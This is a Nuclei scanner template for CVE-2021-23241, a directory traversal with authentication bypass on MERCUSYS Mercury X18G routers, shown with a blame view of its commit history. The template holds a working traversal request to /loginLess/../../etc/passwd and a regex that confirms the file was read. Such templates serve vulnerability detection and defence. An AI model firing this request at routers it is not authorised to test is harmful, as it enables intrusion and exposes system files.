nuclei-templates/cves/2021/CVE-2021-23241.yaml

id: CVE-2021-23241

info:
  name: Mercury Router Web Server Directory Traversal
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices allow Directory Traversal via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  reference:
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-23241
    cwe-id: CWE-22
  tags: cve,cve2021,iot,lfi,router

requests:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`id: CVE-2021-23241`

			`info:`
			`name: Mercury Router Web Server Directory Traversal`
			`author: daffainfo`
			`severity: medium`
Update CVE-2021-23241.yaml 2021-07-20 08:55:37 +00:00			`description: MERCUSYS Mercury X18G 1.0.5 devices allow Directory Traversal via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Update CVE-2021-23241.yaml 2021-07-20 08:55:37 +00:00			`- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-23241`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 5.3`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-23241`
			`cwe-id: CWE-22`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,iot,lfi,router`
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/loginLess/../../etc/passwd"`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`part: body`
Update CVE-2021-23241.yaml 2021-07-20 10:30:00 +00:00
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`- type: status`
			`status:`
			`- 200`